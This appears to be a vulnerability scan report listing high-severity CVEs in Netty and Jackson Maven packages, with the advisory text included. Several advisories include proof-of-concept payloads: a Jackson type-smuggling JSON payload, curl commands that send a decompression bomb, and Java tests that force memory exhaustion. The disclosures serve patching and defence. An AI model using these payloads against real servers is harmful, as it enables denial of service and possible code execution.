  • HTTP/1.1 pipelining
  • HEAD in the pipeline
  • The server sends 1xx

PoC

    @<!-- -->Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-handler 4.1.130.Final (maven)

pkg:maven/io.netty/netty-handler@4.1.130.Final

high 8.1: CVE--2026--44249 Improper Access Control

Affected range<=4.1.134.Final
Fixed version4.1.135.Final
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.573%
EPSS Percentile44th percentile
Description

Summary

An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.

Details

io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress) method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.

Impact

Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.

high 7.5: CVE--2026--50010 Improper Verification of Cryptographic Signature

Affected range<=4.1.134.Final
Fixed version4.1.135.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.279%
EPSS Percentile20th percentile
Description

SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all.

high 7.5: CVE--2026--45416 Allocation of Resources Without Limits or Throttling

Affected range<=4.1.134.Final
Fixed version4.1.135.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.478%
EPSS Percentile39th percentile
Description

SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates ctx.alloc().buffer(handshakeLength) (line 161). The guard at line 140 is handshakeLength > maxClientHelloLength && maxClientHelloLength != 0, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.

critical: 0 high: 2 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-databind 2.15.0 (maven)

pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.15.0

high 8.1: CVE--2026--54513 Incomplete List of Disallowed Inputs

Affected range>=2.10.0
<2.18.8
Fixed version2.18.8
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.712%
EPSS Percentile50th percentile
Description

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)

  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@omkhar) - finder.

high 8.1: CVE--2026--54512 Incomplete List of Disallowed Inputs

Affected range>=2.10.0
<=2.18.7
Fixed version2.18.8
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.779%
EPSS Percentile52nd percentile
Description

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact

  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @<!-- -->JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element

Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

critical: 0 high: 2 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.130.Final

high 8.7: CVE--2026--33871 Allocation of Resources Without Limits or Throttling

Affected range<4.1.132.Final
Fixed version4.1.132.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score1.125%
EPSS Percentile63rd percentile
Description

Summary

A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.

Details

The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.

The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.

Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.

codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java

verifyContinuationFrame() (lines 381-393) — No frame count check:

private void verifyContinuationFrame() throws Http2Exception {
    verifyAssociatedWithAStream();
    if (headersContinuation == null) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    if (streamId != headersContinuation.getStreamId()) {
        throw connectionError(PROTOCOL_ERROR, "...");
    }
    // NO frame count limit!
}

HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:

// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
        headerBlock.readableBytes()) {
    headerSizeExceeded();  // 10240 - 0 < 1 => FALSE always
}

When len=0: maxGoAway - 0 < readableBytes10240 < 1 → FALSE. The byte limit is never triggered.

Impact

This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.

high 7.5: CVE--2026--42587 Uncontrolled Resource Consumption

Affected range<=4.1.132.Final
Fixed version4.1.133.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.990%
EPSS Percentile59th percentile
Description

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

  1. Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max
  1. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)
# compressed size: ~1KB
  1. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @<!-- -->bomb.gz
# Result: DecompressionException thrown at 1MB
  1. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @<!-- -->bomb.br
# Result: Full 1GB decompressed into memory → OOM
  1. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

critical: 0 high: 2 medium: 0 low: 0 io.netty/netty-codec 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec@4.1.130.Final

high 8.7: CVE--2026--59901 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range<4.1.136.Final
Fixed version4.1.136.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]

high 7.5: CVE--2026--42583 Uncontrolled Resource Consumption

Affected range<=4.1.132.Final
Fixed version4.1.133.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.429%
EPSS Percentile35th percentile
Description

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @<!-- -->Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @<!-- -->Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @<!-- -->Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @<!-- -->Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

critical: 0 high: 2 medium: 0 low: 0 io.netty/netty-resolver-dns 4.1.130.Final (maven)

pkg:maven/io.netty/netty-resolver-dns@4.1.130.Final

high 8.7: CVE--2026--47691 Insufficient Verification of Data Authenticity

Affected range<=4.1.134.Final
Fixed version4.1.135.Final
CVSS Score8.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
EPSS Score0.286%
EPSS Percentile21st percentile
Description

Summary

Netty's DnsResolveContext insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like .co.uk).

Details

In io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName.

This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the handleWithAdditional method caches the associated A records from the ADDITIONAL section directly into the authoritativeDnsServerCache under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..

The io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache method only prevents caching if the record is for the root zone (dots == 1).

Impact

DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.

high 8.7: CVE--2026--45674 Insufficient Verification of Data Authenticity

Affected range<=4.1.134.Final
Fixed version4.1.135.Final
CVSS Score8.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
EPSS Score0.224%
EPSS Percentile13th percentile
Description

Summary

Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.

Details

In io.netty.resolver.dns.DnsResolveContext#buildAliasMap, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.

According to https://datatracker.ietf.org/doc/html/rfc5452#section-6

Care must be taken to only accept
   data if it is known that the originator is authoritative for the
   QNAME or a parent of the QNAME.
   One very simple way to achieve this is to only accept data if it is
   part of the domain for which the query was intended.

Impact

DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.

critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.17.2 (maven)

pkg:maven/com.fasterxml.jackson.core/jackson-core@2.17.2

high 8.7: GHSA--r7wm--3cxj--wff9 Allocation of Resources Without Limits or Throttling

Affected range<2.18.8
Fixed version2.18.8
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

  • com.fasterxml.jackson.core:jackson-core 2.18.6
  • com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — _finishNumberIntegralPart lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

